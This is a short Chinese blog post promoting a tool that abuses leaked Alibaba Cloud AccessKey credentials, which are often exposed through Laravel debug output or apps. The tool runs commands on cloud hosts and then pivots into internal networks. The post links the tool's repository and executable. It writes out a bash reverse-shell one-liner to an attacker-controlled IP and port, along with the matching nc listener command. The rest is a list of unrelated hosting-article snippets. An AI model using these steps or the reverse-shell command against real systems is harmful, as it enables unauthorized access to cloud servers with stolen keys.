【推荐】阿里云主机accesskey利用工具

1、简介

在日常渗透过程中我们经常遇到信息泄露出ALIYUN_ACCESSKEYID与ALIYUN_ACCESSKEYSECRET（阿里云API key），特别是laravel框架得debug信息。APP中也会泄露这些信息.通过这款利用工具我们可以进行命令执行获取到shell然后进行内网渗透。

具体的github地址如下:

https://github.com/mrknow001/aliyun-accesskey-Tools

exe文件下载地址:

https://github.com/mrknow001/aliyun-accesskey-Tools/releases/download/1.0/Aliyun-.AK.Tools.exe

工具截图如下:

可在命令输入处输入反弹shell的代码。

bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1

自己的机器执行:

nc -lvvp 端口

【推荐】阿里云主机accesskey利用工具相关推荐

python 程序运行在阿里云主机_阿里云主机Access key利用工具
简介(Gamma实验室核心成员:一灯老和尚所写) 在日常渗透过程中我们经常遇到信息泄露出ALIYUN_ACCESSKEYID与ALIYUN_ACCESSKEYSECRET(阿里云API key),特别 ...
阿里云主机详解：ECS/轻量/虚拟主机/GPU/裸金属/云电脑详解
阿里云云主机分为云虚拟主机.云服务器ECS.轻量应用服务器.GPU云服务器.弹性裸金属服务器.专有宿主机.FPGA云服务器.高性能计算E-HPC.无影云电脑等,阿里云百科来详细说下阿里云云主机详解: ...
阿里云主机CentOS添加硬盘
1.查看新硬盘 #fdisk –l 新添加的硬盘的编号为/dev/xvdb 2.硬盘分区 1)进入fdisk模式 #/sbin/fdisk /dev/xvdb 2)输入n进行分区 3)选择分区类型这 ...
在CentOS7上安装vim编辑器报错无法解析阿里云主机
文章目录 1.采用yum安装vim报错 2.配置域名解析服务器 3.再次利用yum安装vim 4.利用vim编辑器编辑文件 1.采用yum安装vim报错执行命令:yum -y install vim ...
Zabbix内网监控外网阿里云主机
我们在阿里云主机上下载zabbix-agent后,发现我们的zabbix-server是建立在公司内网服务器上的,首先一点,我们如何获取内网服务器的外网通讯地址IP呢? 我们可以用server通过te ...
阿里云主机Linux服务器配置步骤
下面我们一起来看看关于阿里云主机Linux服务器配置步骤详解,如果你正在使用阿里云主机我们可进入参考一下配置步骤哦,有兴趣的同学可进入参考. 一提到云主机,大家肯定熟知国内最知名品牌--阿里云了,后来 ...
阿里云主机免费申请级网站配置
前阵子看到阿里云主机和邮箱免费申请,当然吸引到了我,倒弄了一番送上我的简单操作如下,域名绑定部分请见我前面的文章. 1.云主机和企业邮箱免费申请申请网址:http://wanwang.aliyun. ...
阿里云主机购买及配置Linux服务器（centos7.5）详细步骤
登录阿里云官网注册账号,并充值100元以上,点击控制台开始购买云主机实例. 点击云服务器ECS 3.点击实例 4.点击创建实例 5.由于是技术调研,故选择抢占式服务即可(根据自己需求选择) 6.选择离 ...
云主机好不好_阿里云主机是什么，阿里云主机怎么样？
阿里云主机是什么阿里云提供的云主机服务是基于阿里云自主研发的飞天大规模分布式计算系统,通过虚拟化技术整合IT资源,为各行业提供互联网基础设施服务.云服务器具有自助管理.数据安全保障.自动故障恢复和防 ...
Esp8266进阶之路12 图文并茂学习阿里云主机搭建8266MQTT服务器，实现移动网络远程控制一盏灯！
本系列博客学习由非官方人员半颗心脏潜心所力所写,仅仅做个人技术交流分享,不做任何商业用途.如有不对之处,请留言,本人及时更改. 1. Esp8266之搭建开发环境,开始一个"hello ...

【推荐】阿里云主机accesskey利用工具

【推荐】阿里云主机accesskey利用工具相关推荐

最新文章

热门文章